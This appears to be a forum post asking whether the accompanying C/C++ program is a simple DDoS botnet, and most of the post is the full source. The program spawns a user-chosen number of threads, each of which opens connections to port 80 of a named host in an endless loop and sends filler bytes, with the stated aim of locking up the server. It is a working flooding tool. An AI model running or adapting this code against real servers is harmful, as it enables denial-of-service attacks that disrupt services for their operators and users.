This is a client program based on posix sockets and threads. The program creates multiple threads and is going to lock the server.Can we say that this is simple DDOS botnet ?. The code in C/C++ and for posix platforms. Here's the code
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
int get_hostname_by_ip(char* h , char* ip)
{
struct hostent *he;
struct in_addr **addr_list;
int i;
if ((he = gethostbyname(h)) == NULL)
{
perror("gethostbyname");
return 1;
}
addr_list = (struct in_addr **) he->h_addr_list;
for(i = 0; addr_list[i] != NULL; i++)
{
strcpy(ip , inet_ntoa(*addr_list[i]) );
return 0;
}
return 1;
}
void client(char* h)
{
int fd;
char* ip = new char[20];
int port = 80;
struct sockaddr_in addr;
char ch[]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
while(1)
{
fd = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family=AF_INET;
get_hostname_by_ip(h, ip);
addr.sin_addr.s_addr=inet_addr(ip);
addr.sin_port=htons(port);
if(connect(fd, (struct sockaddr*)&addr, sizeof(addr)) < 0)
{
perror("error: can't connect to server\n");
return;
}
if(send(fd, ch, sizeof(ch), 0) < 0)
{
perror("error: can't send\n");
}
close(fd);
}
}
struct info
{
char* h;
int c;
};
void* thread_entry_point(void* i)
{
info* in = (info*)i;
client(in->h);
}
int main(int argc, char** argv)
{
int s = atoi(argv[2]);
pthread_t t[s];
info in = {argv[1], s};
for(int i = 0; i < s; ++i)
{
pthread_create(&t[i], NULL, thread_entry_point, (void*)&in);
}
pthread_join(t[0], NULL);
return 0;
}